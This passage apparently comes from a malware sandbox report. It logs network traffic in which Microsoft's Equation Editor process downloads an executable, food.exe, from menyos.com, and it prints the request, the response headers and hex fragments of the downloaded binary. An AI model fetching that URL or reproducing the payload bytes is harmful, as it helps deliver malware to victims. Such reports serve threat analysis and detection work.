                                    Oct 1, 2024 07:44:59.684451103 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684463978 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684593916 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684672117 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684712887 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684722900 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684726954 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684758902 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684815884 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684858084 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684864044 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684879065 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.684906960 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.684920073 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.685133934 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.685175896 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.685193062 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.685197115 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.685223103 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.685233116 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.687710047 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.772586107 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.772639990 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.772728920 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.772763968 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.772773981 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.772779942 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.772785902 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.772825956 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.772897959 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.772958994 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773000002 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773009062 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773017883 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773041010 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773053885 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773140907 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773183107 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773184061 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773192883 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773221016 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773416042 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773454905 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773458004 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773468018 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773497105 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773710012 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773753881 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773758888 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773763895 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.773794889 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773952007 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.773962975 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774004936 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.774008036 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774017096 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774044037 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.774058104 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.774230003 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774270058 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774275064 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.774279118 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.774311066 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.777509928 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860002041 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860061884 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860162973 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860182047 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860209942 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860235929 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860311985 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860321045 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860352039 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860367060 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860371113 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860404968 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860414982 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860434055 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860472918 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860485077 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860488892 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860526085 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860541105 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860630035 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860671043 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860678911 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860682964 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860716105 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860729933 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860907078 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860946894 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.860975027 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.860979080 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861008883 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861021996 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861255884 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861296892 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861330986 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861335039 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861358881 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861371994 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861372948 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861382961 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861419916 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861427069 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861437082 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861479044 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861489058 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861649036 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861689091 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861727953 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.861731052 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.861795902 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.865432978 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947124004 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947173119 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947248936 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947288990 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947309017 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947339058 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947364092 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947364092 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947376966 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947415113 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947418928 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947429895 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947434902 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947474957 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947556019 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947596073 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947608948 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947613001 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947637081 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947652102 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947742939 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947784901 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947793961 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.947798967 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.947830915 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948079109 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948120117 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948129892 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948138952 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948163033 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948175907 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948374987 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948415041 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948422909 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948431015 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948457003 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948471069 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948532104 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948604107 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948642969 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948653936 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948657990 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:44:59.948684931 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.948700905 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:44:59.953864098 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034140110 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034192085 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034209967 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034228086 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034246922 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034279108 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034324884 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034332991 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034339905 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034384012 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034413099 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034456968 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034502983 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034522057 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034526110 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034553051 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034575939 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034674883 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034718990 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034745932 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034749031 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034761906 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034782887 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034936905 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034976959 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.034977913 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.034986973 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035017967 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035058975 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035100937 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035104036 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035110950 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035147905 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035156012 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035197973 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035202980 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035224915 CEST44349163104.21.35.109192.168.2.22
                                    Oct 1, 2024 07:45:00.035243034 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035264969 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.035686970 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.041435957 CEST49163443192.168.2.22104.21.35.109
                                    Oct 1, 2024 07:45:00.041445971 CEST44349163104.21.35.109192.168.2.22

                                    UDP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Oct 1, 2024 07:44:58.341020107 CEST5456253192.168.2.228.8.8.8
                                    Oct 1, 2024 07:44:58.378442049 CEST53545628.8.8.8192.168.2.22

                                    DNS Queries

                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                    Oct 1, 2024 07:44:58.341020107 CEST192.168.2.228.8.8.80x96c8Standard query (0)menyos.comA (IP address)IN (0x0001)false

                                    DNS Answers

                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                    Oct 1, 2024 07:44:58.378442049 CEST8.8.8.8192.168.2.220x96c8No error (0)menyos.com104.21.35.109A (IP address)IN (0x0001)false
                                    Oct 1, 2024 07:44:58.378442049 CEST8.8.8.8192.168.2.220x96c8No error (0)menyos.com172.67.218.192A (IP address)IN (0x0001)false

                                    HTTP Request Dependency Graph

                                    • menyos.com

                                    HTTPS Proxied Packets

                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    0192.168.2.2249163104.21.35.1094433516C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                    TimestampBytes transferredDirectionData
                                    2024-10-01 05:44:58 UTC324OUTGET /assets/home/js/bdg/food.exe HTTP/1.1
                                    Accept: */*
                                    Accept-Encoding: gzip, deflate
                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                    Host: menyos.com
                                    Connection: Keep-Alive
                                    2024-10-01 05:44:59 UTC799INHTTP/1.1 200 OK
                                    Date: Tue, 01 Oct 2024 05:44:59 GMT
                                    Content-Type: application/octet-stream
                                    Content-Length: 1179411
                                    Connection: close
                                    Last-Modified: Mon, 30 Sep 2024 03:47:25 GMT
                                    ETag: "66fa1f4d-11ff13"
                                    Expires: Thu, 31 Dec 2037 23:55:55 GMT
                                    Cache-Control: max-age=315360000
                                    X-Cache: HIT from Backend
                                    X-XSS-Protection: 1; mode=block
                                    X-Content-Type-Options: nosniff
                                    CF-Cache-Status: HIT
                                    Age: 745
                                    Accept-Ranges: bytes
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xYqczok4mhQ7gXKIZdI9epKMYb8SpXOSoQoJJfeoE6FOvvKaSEts14bnv0%2Bdi0Xz1fKqMIujjz4Wac6cbYf1NqCKlmZ%2B7ks5pMjOuiC5pTLumxvtK0G5u%2BuFS%2FtR"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 8cba24d8d9e441c1-EWR
                                    2024-10-01 05:44:59 UTC570INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00
                                    Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-iii9k`:w`,`+PN%cN%Hid` /w:kw;hi8h`>hRichi
                                    2024-10-01 05:44:59 UTC1369INData Raw: 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 b2 01 00 00 b0 0a 00 00 b4 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                    Data Ascii: @@.datah@.rsrcH@@
                                    2024-10-01 05:44:59 UTC1369INData Raw: 00 01 00 00 00 89 46 0c c3 cc cc cc cc 56 8b f1 40 33 c9 89 46 08 ba 02 00 00 00 f7 e2 0f 90 c1 c7 46 04 00 00 00 00 f7 d9 0b c8 51 e8 56 03 01 00 33 c9 89 06 83 c4 04 66 89 08 e8 ad ff ff ff 8b c6 5e c3 cc cc cc cc cc cc cc cc cc 8b 06 85 c0 74 09 50 e8 03 ff 00 00 83 c4 04 57 8d be ec 00 00 00 e8 65 ff ff ff 8d 8e bc 00 00 00 e8 1a 12 00 00 8d 8e ac 00 00 00 e8 0f 12 00 00 8d 8e 9c 00 00 00 e8 04 12 00 00 8d 8e 8c 00 00 00 e8 f9 11 00 00 8d 7e 08 e8 71 f0 00 00 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 14 02 00 00 e8 85 13 00 00 84 c0 0f 84 6e ae 02 00 e8 98 00 00 00 85 c0 0f 85 61 ae 02 00 e8 6b c1 00 00 85 c0 0f 85 54 ae 02 00 8b 94 24 18 02 00 00 8d 04 24 50 8d 4c 24 08 51 68 04 01 00 00 52 ff 15 20 23 48 00 8d 44 24 04 50 b8 e8 7f 4a
                                    Data Ascii: FV@3FFQV3f^tPWe~q_nakT$$PL$QhR #HD$PJ
                                    2024-10-01 05:44:59 UTC1369INData Raw: 00 3b df 0f 84 8f fc ff ff e9 0f 98 02 00 8b 4a 04 66 83 79 08 7f 0f 85 41 97 02 00 8b 5c 24 14 ff 4c 24 24 4b 8d 44 24 78 89 5c 24 14 e8 52 f1 00 00 84 c0 0f 85 52 95 02 00 8d 44 24 78 e8 31 f1 00 00 8b 38 8d 74 24 78 e8 16 a9 00 00 83 7c 24 24 00 0f 8c d0 97 02 00 3b df 0f 84 37 fc ff ff e9 c3 97 02 00 8b ff 58 b0 42 00 a8 af 42 00 b6 af 42 00 8d 18 40 00 fa 18 40 00 5c 18 40 00 b0 18 40 00 0a b0 42 00 10 ae 42 00 4e af 42 00 80 ae 42 00 47 ae 42 00 e7 ae 42 00 36 18 40 00 26 16 40 00 84 15 40 00 00 01 02 0f 03 04 05 06 0f 0f 0f 0f 0f 07 07 08 09 0a 0b 0c 0f 0f 0f 0f 0f 0f 0f 0d 0e cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 4e 24 e8 58 0c 00 00 8d 4e 14 e8 50 0c 00 00 8d 4e 04 e9 48 0c 00 00 cc cc cc cc cc cc cc cc 57 85 c0 75 1e 39 05 dc 7c 4a 00
                                    Data Ascii: ;JfyA\$L$$KD$x\$RRD$x18t$x|$$;7XBBB@@\@@BBNBBGBB6@&@@N$XNPNHWu9|J
                                    2024-10-01 05:44:59 UTC1369INData Raw: 00 8d 4d 9c e8 d2 07 00 00 8d b5 60 fe ff ff e8 87 f5 ff ff 8d b5 44 fe ff ff c7 06 70 a0 48 00 e8 a6 e9 00 00 8b 46 04 50 e8 7c f4 00 00 83 c4 04 8d 9d 3c fd ff ff e8 4f f4 ff ff 8d 8d 2c fd ff ff e8 94 07 00 00 8d b5 1c fd ff ff e8 29 74 00 00 8d b5 0c fd ff ff c7 06 70 a0 48 00 e8 68 e9 00 00 8b 4e 04 51 e8 3e f4 00 00 8d b5 fc fc ff ff 83 c4 04 c7 06 70 a0 48 00 e8 4b e9 00 00 8b 56 04 52 e8 21 f4 00 00 8d b5 ec fc ff ff 83 c4 04 c7 06 70 a0 48 00 e8 2e e9 00 00 8b 46 04 50 e8 04 f4 00 00 8d b5 dc fc ff ff 83 c4 04 c7 06 70 a0 48 00 e8 11 e9 00 00 8b 4e 04 51 e8 e7 f3 00 00 83 c4 04 8d 85 d0 fc ff ff e8 aa e9 00 00 8d 85 c0 fc ff ff e8 6f e9 00 00 8d 8d b0 fc ff ff e8 f4 06 00 00 8d 85 98 fc ff ff e8 29 e9 00 00 8d b5 8c fc ff ff e8 6e c7 00 00 8d b5
                                    Data Ascii: M`DpHFP|<O,)tpHhNQ>pHKVR!pH.FPpHNQo)n
                                    2024-10-01 05:44:59 UTC1369INData Raw: 00 51 57 8b ce e8 a8 87 00 00 85 c0 0f 85 46 d5 02 00 8d 44 24 18 50 e8 56 6e 00 00 8b 4f 04 8b 94 24 84 00 00 00 8b 04 91 66 83 78 08 00 0f 85 14 d5 02 00 83 38 0f 0f 85 0b d5 02 00 ff 84 24 84 00 00 00 6a ff 8d 44 24 1c 50 8d 8c 24 8c 00 00 00 51 57 8b ce e8 57 87 00 00 85 c0 0f 85 f5 d4 02 00 8d 44 24 18 50 8d 5c 24 5c e8 01 6e 00 00 8b 4f 04 8b 94 24 84 00 00 00 8b 04 91 66 83 78 08 00 0f 84 fa d2 02 00 8d 74 24 68 e8 90 6e 00 00 8b 74 24 7c b8 01 00 00 00 89 44 24 70 89 44 24 68 8b 44 24 10 83 78 08 04 0f 84 14 d3 02 00 8b 5c 24 60 83 fb 04 0f 84 12 d3 02 00 8b 57 04 8b 84 24 84 00 00 00 8b 04 82 66 83 78 08 7f 0f 85 0d d3 02 00 33 f6 32 d2 eb 06 8d 9b 00 00 00 00 8b 45 00 8d 48 01 89 4d 00 3b 05 90 8e 4a 00 7f 40 85 c0 7e 3c c1 e0 04 03 05 c4 8e 4a
                                    Data Ascii: QWFD$PVnO$fx8$jD$P$QWWD$P\$\nO$fxt$hnt$|D$pD$hD$x\$`W$fx32EHM;J@~<J
                                    2024-10-01 05:44:59 UTC1369INData Raw: 8d 54 24 10 52 8d 0c 07 51 e8 9b fd ff ff 46 83 c7 10 eb b7 8d 5c 24 10 c7 44 24 10 34 52 48 00 e8 c4 a8 00 00 8b 54 24 14 52 e8 c9 e9 00 00 83 c4 04 b0 01 5f 5e 5d 5b 83 c4 14 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc b8 28 20 00 00 e8 c6 28 02 00 53 55 56 8b d9 57 8d 7b 14 89 7c 24 1c e8 d4 f0 ff ff 8b 84 24 3c 20 00 00 33 ed 89 2b 83 c3 04 50 8b c3 e8 6e f8 ff ff 89 6c 24 14 c6 44 24 12 00 89 6c 24 18 c6 44 24 13 00 8b fd 8b f3 e8 63 f3 ff ff 0f b7 00 66 83 f8 20 0f 84 1d 7c 02 00 66 83 f8 09 0f 84 13 7c 02 00 8b c3 e8 35 01 00 00 8b 43 04 3b e8 0f 83 ba 00 00 00 8b 0b 8d 04 69 0f b7 00 8b 4c 24 14 66 85 c0 0f 84 c1 00 00 00 45 81 f9 00 10 00 00 0f 8d b4 00 00 00 66 83 f8 20 74 39 66 83 f8 09 74 33 66 83 f8 22 74 0c 66 89 44 4c 30 41 89 4c 24 14 eb ae
                                    Data Ascii: T$RQF\$D$4RHT$R_^][( (SUVW{|$$< 3+Pnl$D$l$D$cf |f|5C;iL$fEf t9ft3f"tfDL0AL$
